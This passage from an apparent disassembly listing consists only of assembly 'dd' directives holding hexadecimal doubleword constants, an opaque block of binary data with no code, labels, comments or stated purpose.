		dd 16002059h, 0E3269EE6h, 25150083h, 0F6361C49h, 0FB4292BAh
		dd 0C822F522h, 0A1010052h, 0AF657A55h, 611FB9F9h, 4D45815Ch
		dd 0B004DDE4h, 88522BFFh, 6F096708h, 802A43A0h,	0AC230E03h
		dd 11C114D5h, 0F0905025h, 81C40D3Ch, 8299B712h,	0D3F62C30h
		dd 8484BE12h, 0C564985Fh, 0E66CD09Eh, 30001D3Eh, 0A32CCA1Bh
		dd 2C905FBh, 33829D6h, 0D701D0F0h, 0C87C90C8h, 37B69380h
		dd 3CA1F90Bh, 42E4705Fh, 8B4C4948h, 21C88C37h, 0C1F5005h
		dd 50206598h, 64080158h, 45D4F644h, 30768354h, 0AED6D581h
		dd 6182881h, 0B866321h,	3768EC75h, 4158E0B9h, 12FE9288h
		dd 480C405Eh, 0D72AC0EFh, 9276A5Bh, 3EAD312h, 8B405808h
		dd 0A8A563E5h, 94600460h, 6AD340FBh, 6BE57F85h,	4000319Fh
		dd 0EC35983Ch, 49493C90h, 38DB2580h, 16F3CCh, 0E992B53Fh
		dd 48EC275Dh, 3B7D0800h, 0D1E5D63Dh, 49021733h,	0BAA045BBh
		dd 748CA8Ah, 955B7AC4h,	13C3C821h, 0C8288471h, 167EFB80h
		dd 8800D912h, 0FD30FF0Bh, 1109985Ah, 7836750Ah,	3A839F3h
		dd 52531DF2h, 0B7B6A07Eh, 0F8C20B5Eh, 2C48E633h, 8C0071F6h
		dd 8DF9B39Eh, 0FF5973h,	0EB505C2Dh, 0B230F032h,	34A12763h
		dd 52D3F8D7h, 6E08C05Fh, 7FA56AD1h, 0D04B033Dh,	84488240h
		dd 190B9FD8h, 0AD709B32h, 700BF425h, 0A72D00B0h, 0DB8580Dh
		dd 0BCF58E0Fh, 382C76DCh, 4F40F4Ch, 311E2083h, 1B8AFAh
		dd 4134E374h, 9CC85794h, 50B205E1h, 4725EF1Eh, 0B104DCE7h
		dd 60FD45F7h, 9CB98154h, 651E0509h, 8FF30004h, 0BC29FFD4h
		dd 5C3F9900h, 1E7D44A6h, 7B861E5Dh, 1B371C7Ch, 4019A94Bh
		dd 210E2049h, 16406C31h, 0F026ABC8h, 245FFA9Ah,	2D54F852h
		dd 50C0301Ah, 727CCE3Eh, 19C9C871h, 708011B1h, 2CE0D0E4h
		dd 194F782h, 50F6FCCAh,	2CD1C583h, 756DA0C0h, 414A024Eh
		dd 2FDBF7A4h, 0F5098C48h, 90B6F625h, 25A17E98h,	0EC988337h
		dd 7D2EBFB8h, 204EECC7h, 62637026h, 6AB23C8Bh, 0E52D680h
		dd 12E24359h, 0FC4438B0h, 0E067F6D7h, 61C4BE05h, 41D33CCBh
		dd 72923708h, 2BF0C058h, 94410h, 17E34F82h, 0A7A51B33h
		dd 52EE58h, 38806F19h, 4C82FF6Ah, 0D5C8787Fh, 513B0C8h
		dd 0D077AC33h, 80DB6Bh,	0CB6E61AAh, 0C84715E6h,	37392461h
		dd 0F0282A03h, 0C63FC0A4h, 4B3E77ADh, 60BC804Dh, 0C8340219h
		dd 0A9E11933h, 3DB048B2h, 3D7200B4h, 5C8CDF4Fh,	7F801E79h
		dd 0F6CCC105h, 619A378Bh, 8B9C7261h, 48D8016h, 5DD99Ah
		dd 4B817CB7h, 1721AAC0h, 809E5E02h, 40A85114h, 8039269Ch
		dd 0CE0FB8E5h, 53BDF6AEh, 3E508088h, 512E12A6h,	90151024h
		dd 509446FCh, 8A24AE8h,	0C9E69818h, 3CBBEF00h, 0D684740Fh
		dd 1BBC24F1h, 12821130h, 0C500A185h, 29F32232h,	0C20E03D2h
		dd 1ECD9C11h, 2F71B6C8h, 495E9A61h, 39824BB1h, 0D2F6D334h
		dd 0AC486464h, 0FD9D801Ch, 11CDE31h, 5F29150Bh,	3A7ABA64h
		dd 5C5FC1Eh, 4CA72A4Bh,	80082C1Eh, 11D4C4DCh, 0AE015571h
		dd 6E27B0AFh, 0F8286921h, 43D79B80h, 92027836h,	0C79A6117h
		dd 9D506166h, 4FF5010h,	0A3947605h, 0F8C36C20h,	8369128Bh
		dd 49902082h, 0DF590207h, 0EAD00F40h, 0D57CEFF8h, 0B0204BCCh
		dd 706920h, 9B1DDC7h, 0F948D240h, 3F4DA600h, 84FE90F0h
		dd 0BE8C7F7Fh, 2E02806Ch, 0C81C96BEh, 66BF2903h, 0F8557EEBh
		dd 13978A06h, 0A0DBC90Ch, 0B1213CC8h, 65C80087h, 2F5F24D3h
		dd 11950BF0h, 210859F8h, 49C4FF0Ah, 0A6608C6Dh,	0E441E571h
		dd 0A8B705D0h, 0E207CFE2h, 68031640h, 0C3007CCAh, 0CE788D70h
		dd 0B33A9847h, 3A9E00CCh, 6DB92623h, 0A10F094Eh, 7C793D4Bh
		dd 7B8B1B00h, 399048A4h, 0D38B33FAh, 0E005C45Fh, 5C580094h
		dd 0D6A30718h, 0A9103004h, 0ECEC5904h, 0CBA391A0h, 0D0019500h
		dd 345E9D3Bh, 8DBB2E3Ch, 11442C20h, 44C84B51h, 0C71D03BDh
		dd 0D3C684B8h, 488600BDh, 0BCCD6B8Bh, 9071DA01h, 20A60533h
		dd 0C7D6B420h, 91682F39h, 68D0F6A0h, 8009CE34h,	73FFD695h
		dd 8008B6A9h, 0D59200Fh, 8800F8CAh, 723CB8CDh, 0F04F9C78h
		dd 0DFCE0B82h, 0CC109939h, 420175F7h, 0DBDA3C60h, 203BA116h
		dd 4BEEF9E4h, 67897701h, 6AE5F8CBh, 6863E0E2h, 0E784BE6h
		dd 4B3621B4h, 4CA39920h, 22C2833Ah, 5022B82Dh, 43D0992Eh
		dd 0BFD94E61h, 0D89B60BEh, 0E1027905h, 0A8A6C57Fh, 0E634E162h
		dd 7401C8F2h, 9D636CF1h, 25C84F50h, 0F97020B2h,	0F0312C01h
		dd 3301CBCFh, 0ACC9D8CBh, 1F94ECA7h, 16D711E9h,	0DA186030h
		dd 0B8A0E0FFh, 0DE029E3Ch, 0C6CEF6D6h, 47B45CFBh, 0B920A062h
		dd 7304A07Fh, 0EF992379h, 0DC005E49h, 3401AF9Ch, 68E7442Eh
		dd 592EE840h, 1C503B1Eh, 9A1BB280h, 0D3E5A216h,	48D5CB3Ah
		dd 247C2CEBh, 0B067D164h, 46DA2E21h, 9D3C9095h,	95870E65h
		dd 9C804E69h, 0D232215Ah, 0A2884402h, 0A0D5B912h, 11A3365Ch
		dd 75B3067Dh, 0B0509348h, 2CB04926h, 0AEFB4240h, 4CCA70FCh
		dd 0DB01F43Eh, 5F2E1F86h, 28622F1Ch, 8FF191Dh, 24580981h
		dd 3C985E34h, 0C00FF9DFh, 60210DD2h, 36824DEDh,	4AF0089h
		dd 0B8D4AD37h, 0F9CFB95Eh, 0E080E1C1h, 2C30B103h, 80489958h
		dd 0AC9F1244h, 61FC4A7Fh, 0BBFDCC00h, 0C2F432Bh, 0F4919FDCh
		dd 6EBE10FBh, 0C06A13AFh, 0C79CC8CFh, 3F77D11Fh, 82BDB43h
		dd 0D230C04Ah, 20A14A92h, 53B6CE4h, 434C1897h, 675B2ECCh
		dd 818259Ch, 9407D32Bh,	0FFEACA16h, 7080BA65h, 8AF97CBFh
		dd 0ABF7E482h, 4713A090h, 7252A224h, 6C726200h,	12DF0B7Ch
		dd 0B09A46E7h, 347F2288h, 9813557Dh, 4C083920h,	1798A6FEh
		dd 3CCC04FBh, 5CAD6Dh, 2AA7EAB9h, 97A2947Fh, 6000EC0Ah
		dd 649C8273h, 0EB4E2C12h, 37D88E2h, 8E7EFFD5h, 0DBE00EB1h
		dd 0C574DFA0h, 49C28713h, 88A284F0h, 160E1250h,	62686293h
		dd 609A2DAFh, 0B93F1E54h, 29FB91A8h, 742ECD6h, 0E2102B2h
		dd 0C3407076h, 642B63Dh, 61F4BE4Fh, 200DEE0Fh, 412D1F05h
		dd 5AC0044Ch, 21FC11h, 8363903h, 1E822FEEh, 2E604E1h, 384942CBh
		dd 4A00D0C5h, 8C1D5E04h, 6F491D83h, 0D31C41DCh,	0CF0CBD25h
		dd 88383126h, 0D92B7F60h, 75DE7013h, 814D04F6h,	0B2F90A37h
		dd 0C84B4EF0h, 0F3CC5B6h, 78C04D22h, 9B44E996h,	37470E01h
		dd 636DEBF7h, 2E5E94CCh, 992CD7BAh, 40098101h, 0AF0423E8h
		dd 644A8B8h, 4AF8F934h,	415F1626h, 2B248123h, 1F91115h
		dd 39D00815h, 9D42081h,	0A44A2C76h, 32DFCD00h, 0ACDDE907h
		dd 52263301h
		dd 60ED377Eh, 426A42FAh, 0DBDCC020h, 1D3839Dh, 0BC0784A7h
		dd 54B987E0h, 0AB407F47h, 64299955h, 149FA12Fh,	0DD984D54h
		dd 0A777D9C3h, 6807C729h, 0A03B48BDh, 166050DDh, 0F79303Eh
		dd 481FEAD6h, 0CF05A824h, 409EE5BBh, 0FD298EECh, 37014D5Fh
		dd 823C8144h, 0F8685E20h, 0E00FF781h, 1161CCE5h, 8F452500h
		dd 0A01246CBh, 0E7FB04BBh, 0F8E0D826h, 37490010h, 331D0994h
		dd 3B50BA08h, 0F2937807h, 0ECD4E1A6h, 0CC04A7B6h, 99D29DAFh
		dd 34834CCh, 83D1F85Fh,	0ADE478C2h, 0EA361708h,	7F81FE01h
		dd 0FFD0C968h, 0C3D80051h, 147AA5Ah, 0F79B822h,	75BCF60Bh
		dd 7BF0A5FDh, 8CB6048Ch, 3A7AC81h, 0C0A94B1Bh, 4C6FCA2Ch
		dd 19171C90h, 6C9CA694h, 0D326847Dh, 0E6444C75h, 0B9C4F4h
		dd 0D1E9B73Bh, 0F78DC96Ch, 30DA9B00h, 7E21106Ah, 1C083AA1h
		dd 41C492Eh, 0B63B9C7Ch, 2B52001Ch, 0C545302h, 3BCD1E59h
		dd 0CF794F13h, 942C45E4h, 20F8A394h, 9920291Ch,	0B2DE00A4h
		dd 7F22E65Ah, 1968CA1h,	7E12FBF0h, 661CD219h, 387C1548h
		dd 5837408Dh, 68C85887h, 2FFF0C62h, 0F2566A84h,	1350C310h
		dd 90168822h, 2A7E1820h, 39E2F8F6h, 0ACD04182h,	1660F449h
		dd 68E907B1h, 802EA203h, 56B3BC1Ch, 6E0CF700h, 17D38B08h
		dd 0E302F37h, 11F96811h, 222E5005h, 0D0A07074h,	86AD8D59h
		dd 7A4BA1Dh, 8E8A8742h,	0F89C665Ah, 7EF6003Ch, 1EB1C3B4h
		dd 0E7009C85h, 0CCE05ED3h, 0E91A3413h, 1302F8F4h, 2589829Ah
		dd 6CA3E4h, 0ED02D41Dh,	2C491B48h, 2303386h, 94D9208h
		dd 0AC9C2C58h, 1C58C8A8h, 75022D8h, 360F6399h, 6F79A158h
		dd 0E0CB569Dh, 0A4AD5899h, 9D08AC28h, 9175058Dh, 501C50E2h
		dd 0E1900Ah, 5C1B98B1h,	5EBD6EFBh, 7DC248BCh, 0ADE704D4h
		dd 0A62F0004h, 7B2C113Bh, 13E5000Fh, 5C2B3A57h,	8A0297AEh
		dd 8133991Eh, 437CAEB7h, 0C0DF2E47h, 799510Eh, 0AAE6D744h
		dd 0C88B19CBh, 0FF00B458h, 0E583E880h, 0A03056EFh, 1A49190h
		dd 3CF2C961h, 0FC3FF899h, 0B350FE98h, 0ACB8BE94h, 0EC203EF9h
		dd 66DD40h, 0CCEBE0D9h,	3B735E27h, 0CF0DB300h, 0DCBB6ECDh
		dd 25875EBCh, 0E6581320h, 11320040h, 46C361DFh,	0E21B8B5h
		dd 1BC84BD0h, 376C9101h, 689870A7h, 0EE131C96h,	0A446288Dh
		dd 4830F149h, 5C4B2F56h, 0F00BB002h, 8287505Bh,	7D06129h
		dd 28B33h, 9376FDAh, 727BA069h,	0E4649712h, 96290408h
		dd 5210A0D3h, 0DDAD1000h, 1C5153EDh, 3DBF0075h,	0CB834476h
		dd 0E958099h, 0B002B7E8h, 7063F53h, 8F13537h, 0E80E344h
		dd 4C0AADFCh, 637500C8h, 60B6DDB5h, 0CF00B198h,	0FF54EC22h
		dd 0A0487C90h, 5BA2180h, 9A652CCh, 3924403Fh, 0A81FB06Ah
		dd 0B86EF907h, 400E7EF3h, 0D0BDE778h, 212C3EF8h, 0DD1CB8D3h
		dd 0AD5100FAh, 0D0078C6Fh, 6AB7530Bh, 8180CCAEh, 0C81009F4h
		dd 8C07C43Bh, 8B7B5937h, 0A9774781h, 589C213Bh,	0F1520BDh
		dd 7305CC13h, 5F282C02h, 0A41CF111h, 0D0620514h, 803C804Eh
		dd 0EF2D10EBh, 1E0E233h, 1532769Ch, 5881106Dh, 0C4E1A1CDh
		dd 9C09D1BAh, 0FEBD86E3h, 15E00E8h, 0D38D6807h,	127C5A13h
		dd 5464A881h, 0FC208215h, 22D21F11h, 188192BBh,	1429C82Ch
		dd 7DE5C42Ch, 847B70h, 9D32388h, 0C382112h, 2A3C98BBh
		dd 752234FFh, 41A4A037h, 0B5FFF0D1h, 885E1012h,	0F7EE9462h
		dd 98025D42h, 0FB2005B2h, 244A2126h, 606C85D5h,	0F1FAFF20h
		dd 28863716h, 8853A888h, 8800D12Fh, 5F725C13h, 0BC015B4h
		dd 881302Bh, 0F921A0B0h, 3717D9ECh, 7C300A92h, 248271E2h
		dd 61ACBFF5h, 623C61E7h, 504A4F50h, 0ED011C99h,	419C6598h
		dd 0F3B3C0h, 78F51FDBh,	1B7D5ED1h, 0B40431D6h, 0A4F85FC8h
		dd 50B83096h, 0AC75AB03h, 0BD3921ECh, 1C44CA0Ch, 78898983h
		dd 4E7C1C73h, 6AE49082h, 0CC5B86E2h, 9D7EE481h,	7DE42110h
		dd 3B76FCE2h, 0BE56791Ch, 2C16A4A8h, 830A871Ch,	0D1DD0F9h
		dd 37D2D6C1h, 4280F95h,	1B2DC9C1h, 0A8323A9Ah, 7CC2AD3h
		dd 0C5EAB3ABh, 0A458C005h, 1258229Ch, 0CE77104Ch, 0EE53009Dh
		dd 42786609h, 22B0D548h, 52D7012Eh, 64051220h, 5A986D5Eh
		dd 0A552F830h, 45789A1Bh, 68202F47h, 860D6Ah, 9C0CEBA1h
		dd 8D73A046h, 1CF09A01h, 0D03C5638h, 0AB0FC063h, 0FF006C35h
		dd 0DD1E4703h, 0B21FC205h, 0A8497EE9h, 1E80D105h, 50098921h
		dd 7949D471h, 0B0416168h, 3440A905h, 0A949998Ch, 88F754E7h
		dd 0E6F3E089h, 2A0D3841h, 0DF99BE81h, 6092B991h, 3702EA68h
		dd 0F630B553h, 6038F612h, 0FFE3291Fh, 642C700h,	2ACBC30h
		dd 8AD34BF6h, 0D8561E1Ch, 60C5DE81h, 0FDE769C4h, 0C3793180h
		dd 747E0196h, 0E7178839h, 9076D632h, 2264ECC0h,	4F096h
		dd 5653499Ah, 730D5833h, 0B20A1200h, 6B8C7675h,	47785A82h
		dd 349A2164h, 3B148970h, 732E640Bh, 55D980F8h, 47EB0D13h
		dd 0BBE54800h, 0A0815020h, 7A832E4Bh, 2E6C6068h, 9A4E4668h
		dd 7540C8h, 0F67C86Dh, 255A993Ah, 4D1EA898h, 200C3B33h
		dd 127E29A7h, 21FBBDF5h, 6FE68098h, 0CE680070h,	0D8C30017h
		dd 1AA0B812h, 74092D63h, 98BC0742h, 49678Ch, 2333A31h
		dd 2A3B80FBh, 890005E6h, 2B531307h, 98CCBE87h, 200645B8h
		dd 9084BB74h, 64534C39h, 0FD1CC897h, 56320900h,	0ECA63ADCh
		dd 2CBC924Bh, 240C4E23h, 165424A0h, 809CF203h, 39DBEE61h
		dd 0E21A008Fh, 130FFB31h, 5404E087h, 3ADDE725h,	0FB809CB9h
		dd 8F98BB9Ah, 2212A00h,	0D65D4E8Ch, 497500AEh, 82075362h
		dd 0BC250F3Bh, 0B05CEBE6h, 34489Fh, 0D17DF0DCh,	0AF263577h
		dd 45F41907h, 0E00F4ED6h, 97E576C8h, 88A218B2h,	87E0C820h
		dd 9928567Bh, 84B59086h, 84E85A6Ch, 9411D227h, 0C7984134h
		dd 6D0701Ah, 195F2100h,	30B8FE99h, 0CC4B5AD2h, 0B303D9BCh
		dd 0B613CB0Ch, 10F00486h, 0C839B5E7h, 9881194h,	0D812649h
		dd 50E71198h, 900020CBh, 46A55AFBh, 0EFC6D330h,	13947660h
		dd 4B534C09h, 0DCD2B1C0h, 32C23Fh, 52F6E6B6h, 7CBEA08h
		dd 0A68F16A9h, 0FDD910B2h, 9317985Fh, 648867DBh, 0CFE8B9h
		dd 0A0A93E61h, 16845179h, 0A077E05Ah, 3A94C44Fh, 4B0054F2h
		dd 0BAF05660h, 7B12B084h, 4E7D090h, 737D74h, 3AF62CABh
		dd 78E5F0D4h, 0AF09027Ch, 71691D04h, 0E28517B0h, 91158078h
		dd 12AB22Eh, 7E9C7F34h,	41DB6166h, 73410590h, 9E922124h
		dd 0D2052277h, 0B0D443FAh, 68E83CC4h, 35F19FB0h, 1662C600h
		dd 8CAE75DAh, 121B3254h, 24213960h, 306CB907h, 0D0BF5D80h
		dd 0DD00A5FDh, 44CBC208h, 0A6DCDAh, 0AF0787A4h,	50E0858Ch
		dd 0E3778314h, 0BE88786Ch, 0AE8C0B13h, 0F48AFF86h, 9C0A1420h
		dd 896E78C3h, 0E236A3B0h, 5CEC9E00h, 0EAB1A90Dh, 0C064BCFEh
		dd 220265DEh, 2C0A3D04h, 7896D75Eh, 0B02844C0h,	30A578A1h
		dd 0F4034CAAh, 0D24D5DD7h, 0DC6DFAAh, 94C9059h,	2331DDB7h
		dd 6A214890h, 0E87B822Ch, 0B8801B44h, 599A79Dh,	9849BC5Eh
		dd 4D78C8ABh, 0C7375400h, 8EFB253Bh, 18B0E9h, 8C69A501h
		dd 0C3CE4AA0h, 0A85F3A34h, 4B0E2CB2h, 8100EB9Fh, 7447104Ah
		dd 0CC8D7224h, 14ACD312h, 24291BC0h, 0E3071657h, 3A5EE2BBh
		dd 74EEA31h, 885A4832h,	0F90F17C4h, 0CBBC6ED5h,	6880D7DFh
		dd 0CDEFF45h, 4F0E06E8h, 207F6817h, 212449D5h, 20A85ADAh
		dd 9B311FE0h, 0CFACBF00h
		dd 0E8A0E2DBh, 0CAB0048Eh, 4051C8B8h, 0C4D21688h, 21320511h
		dd 0C144FA15h, 11144118h, 0B4622D95h, 0C70ED980h, 0CE0064B4h
		dd 39593E7Bh, 70AF67A2h, 18EB481Bh, 0D72B4DC0h,	5702DFCEh
		dd 0B8BC3422h, 3866D9h,	0ABA0CF3Fh, 215970E2h, 0DE3BE173h
		dd 1E813036h, 2F8F2474h, 444CB12Fh, 25B07358h, 2DE810CBh
		dd 766AF250h, 81821CA0h, 0BAFB5EA4h, 2C531A81h,	38EE86D5h
		dd 74548068h, 43CEFBh, 0FF249870h, 0A9CF3090h, 0D863EBh
		dd 8D796D48h, 0D59A40h,	0A75E3BDCh, 0E384F798h,	81024C00h
		dd 0B94B4FF4h, 0D4F62D5Dh, 0C52F5C64h, 24A5DCA1h, 5F1902C0h
		dd 38D84752h, 0B878BA35h, 6081D4BCh, 0CC9BDD23h, 98009D81h
		dd 76FB9525h, 14E65F1Bh, 0C0E57F8Dh, 0EC77C680h, 0DDF2D5A0h
		dd 6FBAA01h, 15414702h,	1FD99B60h, 3FEDFE98h, 25E7797h
		dd 50054320h, 3C21F05Eh, 60F3BA0Eh, 43E69C33h, 0ECAE9751h
		dd 87810144h, 5E806800h, 8630BEFBh, 35E116D8h, 21730D90h
		dd 3B5C4CB0h, 0F7895C00h, 491FDA79h, 0B7040057h, 321675D1h
		dd 7D134830h, 0A047F4C7h, 0ED338724h, 592E8237h, 4C5511A8h
		dd 0ED03C0E8h, 1AB534h,	1BF93D2Ch, 13082DE7h, 0ACC1D55Eh
		dd 697030CEh, 2E6CB0D6h, 2FE0DAC5h, 7ED58891h, 7189200Bh
		dd 0ACAB40C8h, 60073B2Bh, 0B3C06497h, 761FDC0h,	0F60614A5h
		dd 8E8424D2h, 0B4A298h,	4ACC2463h, 0CD646Dh, 0DA515EA7h
		dd 71652268h, 30F6A304h, 0F4D2B8B1h, 88ACA209h,	85D325FAh
		dd 30F8A5ACh, 0C80030D8h, 2F139DCDh, 554AE721h,	10ECCC3Ch
		dd 0F9A60105h, 250B8120h, 9996D034h, 0F601C804h, 32AF35BAh
		dd 34FE0F7Ch, 0CA7DD460h, 29680157h, 0EBA4F093h, 994FECD5h
		dd 59838225h, 28071F54h, 0A284FEA0h, 40ECDE4Ch,	0DEB69E91h
		dd 0B564C300h, 0F999A23h, 0A8656A79h, 0D0631670h, 30E50914h
		dd 0A93BC1Eh, 6527F832h, 39160028h, 1A18496Fh, 0EE853D1Ch
		dd 0D97F7BC0h, 0BD4A990Ch, 84658C92h, 0EB4F7B80h, 4D6F4D0h
		dd 0D89F72D3h, 0E60C9209h, 0C4B81CE0h, 97259098h, 804C7BCCh
		dd 73091620h, 0D70490DCh, 0A1181D66h, 270164A2h, 0C2CA992Eh
		dd 66266084h, 0F424E20Fh, 0E7B16003h, 14DA1307h, 0C0838752h
		dd 0FE64BC08h, 2D1693A0h, 0BCA245ABh, 4E64E200h, 950A68FDh
		dd 0D4206713h, 71B19700h, 3539CF01h, 91515F29h,	39FDB5B8h
		dd 8B4F9C8Ch, 0AF9A203Ah, 39D5A3A4h, 0DB81F54Ah, 0CD569910h
		dd 80F83821h, 0E1BC97A7h, 0C4CCA340h, 81440256h, 28F13CDDh
		dd 33041F00h, 753BB018h, 0F60A04D3h, 4BF881B9h,	3E749980h
		dd 2E2B6E10h, 4EE9B105h, 3CD4BAE7h, 0D6CC30AAh,	4900DC0Bh
		dd 487288B4h, 7C928F67h, 14E079A3h, 0CCE39044h,	9B35C480h
		dd 9A094A95h, 98B59233h, 4B818D8h, 5C67F5D2h, 0EB83FB37h
		dd 0A0B8AD9Dh, 38A4A392h, 26278043h, 0DB4A7DD6h, 3B4200BAh
		dd 0D3EB0471h, 0B34E468Eh, 5A75E4C2h, 682D44F0h, 6227E500h
		dd 0B0815EC8h, 0B6720157h, 7AAE3146h, 5545C485h, 0B8E2834Ah
		dd 4BB15804h, 0AC100AFFh, 0FDA3481h, 7CE3321Ch,	46110F30h
		dd 4C0C8351h, 0BF51F639h, 442C70h, 3055C71Eh, 2E810F6Bh
		dd 20C43D2Dh, 0F33C0934h, 0CC602E44h, 370F611Fh, 0A530C653h
		dd 0E8F2F245h, 593DAD00h, 0B69C012Ah, 6001C673h, 84F856E0h
		dd 0F0563C12h, 0B4FE2548h, 5E792C58h, 7925030Ch, 847F78B9h
		dd 0AD82E538h, 18CC577h, 8FCF0407h, 80203F15h, 0CA1BB9Ch
		dd 0ABC817B6h, 83950D29h, 0A49913ECh, 2BCA9040h, 0AE003C9Eh
		dd 6A5BDCB6h, 0E8D6077Fh, 2C58EA67h, 8594BEF6h,	86902638h
		dd 1D020850h, 462131DEh, 38CC713Dh, 0ECE73200h,	0D9B20D7Dh
		dd 0F2D3890Fh, 0E2F4E0D5h, 138DE125h, 0B4E387CBh, 56002498h
		dd 2F91BA2h, 3EA07B6h, 52E03758h, 598A05B3h, 0B0532C7Eh
		dd 0AE33Bh, 46030683h, 2C09961Bh, 0A75C9503h, 0C09353F7h
		dd 4B280A3Ch, 0D1F4B09Fh, 7F994588h, 18050074h,	7A02DF33h
		dd 8C04163Fh, 54876F3Eh, 4F7FC82h, 0D870BA73h, 2474567h
		dd 17597976h, 60C6CFD2h, 0E65A3603h, 0CFCECD0Eh, 0C941E880h
		dd 0A8F325B0h, 0DA009CF9h, 0CF6567BFh, 25D50311h, 6A92DCF8h
		dd 0EFD47EEBh, 5013780h, 45B49E4Bh, 3EE4E85Ch, 0C44C2513h
		dd 0FC0C215Ch, 0BE3E1808h, 8C200325h, 2D68E55Eh, 73825F12h
		dd 0B1C59867h, 5583086h, 0D0F65F10h, 4780868h, 3C661181h
		dd 0A5205FBAh, 0B1F200B6h, 0C3346874h, 0D218B942h, 11682893h
		dd 36BF0BD4h, 0FE8A6E30h, 90D36098h, 949D5004h,	942A0084h
		dd 0C5844FCAh, 7E0060D6h, 0C44B6B41h, 58D0DBh, 17F4B059h
		dd 20E5C288h, 906697h, 0A70F9D35h, 4D869156h, 0C3FD2301h
		dd 94D901ABh, 97E08FF4h, 30B64007h, 2142817Eh, 20C84E97h
		dd 0A6E6580Ah, 7206D1Fh, 59B0B981h, 0E429B230h,	0AF0AE401h
		dd 0ECA45054h, 160152E8h, 80A7B8E7h, 6E99FEh, 0C3D724FCh
		dd 0D35ABBE5h, 9213E816h, 0FD6B1C70h, 0A81000C7h, 71B59C67h
		dd 0FA096CE9h, 0BA3F6A0Ah, 0F67CC234h, 70AB003Ch, 0AC1AE302h
		dd 8808302Eh, 5874024h,	6E600D51h, 0C528B0E5h, 0BC7B8371h
		dd 0AB9FA02Ch, 7CEF07AFh, 31D5DD79h, 0DBA58DFAh, 5B0CEBE0h
		dd 9904AC27h, 40291C30h, 0B42C22h, 1FF0D61h, 0B6CE2420h
		dd 4BD244E8h, 88D0583Ch, 0DA9840h, 9F1EAEE9h, 86587959h
		dd 20336709h, 5D14803Dh, 98C828FFh, 0E478A28Fh,	0E35A0068h
		dd 0EDAC2485h, 0F30F66CBh, 0E0CF89D4h, 0C9915B8Ah, 7D6816E8h
		dd 88A20Fh, 0FDD7A340h,	842026h, 36FA3D35h, 5645CA0Ah
		dd 0CEE0DD0Eh, 0EC80D247h, 3F9EE558h, 9A84E94Dh, 0BAD95312h
		dd 0DC7A3030h, 35173A71h, 0D1501E80h, 6BBD05Eh,	33FCF300h
		dd 0D287FB5Ch, 0B4E70695h, 483005A3h, 0CF214D1Fh, 7C410989h
		dd 6CCD5034h, 2A69BF17h, 5EC7F50h, 64AB9872h, 9FDA44E0h
		dd 0D9DE90A6h, 2222139h, 93EE6A5Eh, 4C065FE8h, 0E75B31F5h
		dd 0D015B890h, 3A3F79ACh, 0E502FFDAh, 0C1018137h, 24303009h
		dd 165C94C9h, 0B8A02415h, 0D5487E60h, 0C144838h, 21AB6A21h
		dd 0AF330014h, 655590C3h, 0E10471CAh, 0DA28829Dh, 890234A0h
		dd 0D09615F9h, 688CA1F8h, 50880608h, 8C243A16h,	75CB3900h
		dd 136AC80Dh, 0F1498099h, 4EB70F88h, 313AFF20h,	92A03E53h
		dd 44B90348h, 78003791h, 0F446F877h, 3401EF7Eh,	1CA7AD28h
		dd 0B9C96B26h, 6F3CA462h, 853AF380h, 0C30341Bh,	0C8D6DF06h
		dd 28800EB3h, 2D589237h, 0D0E65205h, 28657912h,	4E6EE8E0h
		dd 345C9813h, 0E7738000h, 4B6FF998h, 0C430B750h, 0D12E5988h
		dd 0FF114C3Eh, 0BF62138h, 0F7A30B3h, 41D36890h,	5F62B216h
		dd 0A8A7D023h, 94F520BCh, 0A8FF40C8h, 2907D942h, 0AE865E9Fh
		dd 0F4688469h, 88D4D48Ch, 45E50E21h, 8EE8E830h,	0A7F2E010h
		dd 1BE6606h, 11E15113h,	0FC998D4Fh, 0C94F539h, 0BEE94040h
		dd 2DE81FD6h, 0FE2009B0h, 0DAC08856h, 0F56369h,	836B3F65h
		dd 4BD431D1h, 8458022Eh, 32F3E587h, 0B3C02187h,	2EB506Bh
		dd 6E9E179Bh, 18595F2Eh, 0DABE0Bh, 0D75AE21Eh, 869A01B5h
		dd 0A37CCE5h, 7B71A50Bh, 44C23D3Ch, 649807D4h, 0FC205144h
		dd 0B1EE0009h, 0D95F7A6Dh, 820F331Ah, 1F7DF434h, 98E1FE0Fh
		dd 7350BF21h, 0B06C0080h, 0C297DB4Dh, 7218516Eh, 8031F728h
		dd 49CF00AAh, 31E1DDBBh, 0EC306162h, 0E05161B8h, 0EB51C78Bh
		dd 943E20CDh, 0D5FC5B2Ch
		dd 1F6B58B5h, 98A157DBh, 13587072h, 54816863h, 7349008Fh
		dd 37C51C6h, 0CE1FCA6Ch, 1642713Dh, 80424652h, 61A51E18h
		dd 78E8003Eh, 29E4DB4Bh, 721E5CEEh, 0BF0069C2h,	875BEDDDh
		dd 61C00C50h, 2861B9BBh, 0A7D11062h, 9905E018h,	7EA9093h
		dd 793DF3EFh, 0E76A800Eh, 0CF0DF09Bh, 0E0622FD8h, 98082F61h
		dd 0C70E149Dh, 7C004843h, 609C1208h, 69F83C50h,	1D6B19C0h
		dd 7FA0162h, 0E4E9FDCEh, 0BF4FB084h, 0AA069C03h, 0DA584447h
		dd 61663C50h, 0FD00D9BCh, 0D84DDEFCh, 0E033FBF6h, 0B0507976h
		dd 3A557F42h, 0E90086F3h, 99CD201Bh, 0C105A819h, 1DE3FB81h
		dd 0D5518003h, 0EA391F60h, 10DEC066h, 0E478D30Dh, 0F0DF3D00h
		dd 275BD0CAh, 1764595Dh, 0FE89A903h, 0C10A8CFBh, 98FA3282h
		dd 5163E08Ch, 530B0074h, 95480F04h, 177AFC4Eh, 0E160F909h
		dd 3F081098h, 0B2023061h, 41F87E11h, 0ED7F7400h, 0AC9ECCCDh
		dd 3A82188Bh, 5370610Fh, 6975FA0Ch, 2952697Ah, 11DC4F54h
		dd 93B000FBh, 0E8A32D07h, 885400C8h, 672EB72Ch,	0DD35A839h
		dd 70084178h, 0A6548D85h, 0D570C049h, 0BE269426h, 0E48E5800h
		dd 1FB40412h, 43E56A56h, 0B354C9F7h, 80B23114h,	0BD610A7Ch
		dd 580270B0h, 20A154DBh, 0CDE3FE47h, 0B37C9A00h, 82D7F4Eh
		dd 0CA3E380Fh, 0CFBDCBAh, 0F50D825Fh, 0FA014DC9h, 68761828h
		dd 0B04CC8CCh, 750A3C0Dh, 0BB061107h, 4C54773Ch, 7F077069h
		dd 6CB92798h, 0CC0883D5h, 0C11F9D78h, 0C0CA67C3h, 44F264h
		dd 0F677581Eh, 0CC734280h, 37A97Ch, 55A7275Ch, 0EE5EE80Eh
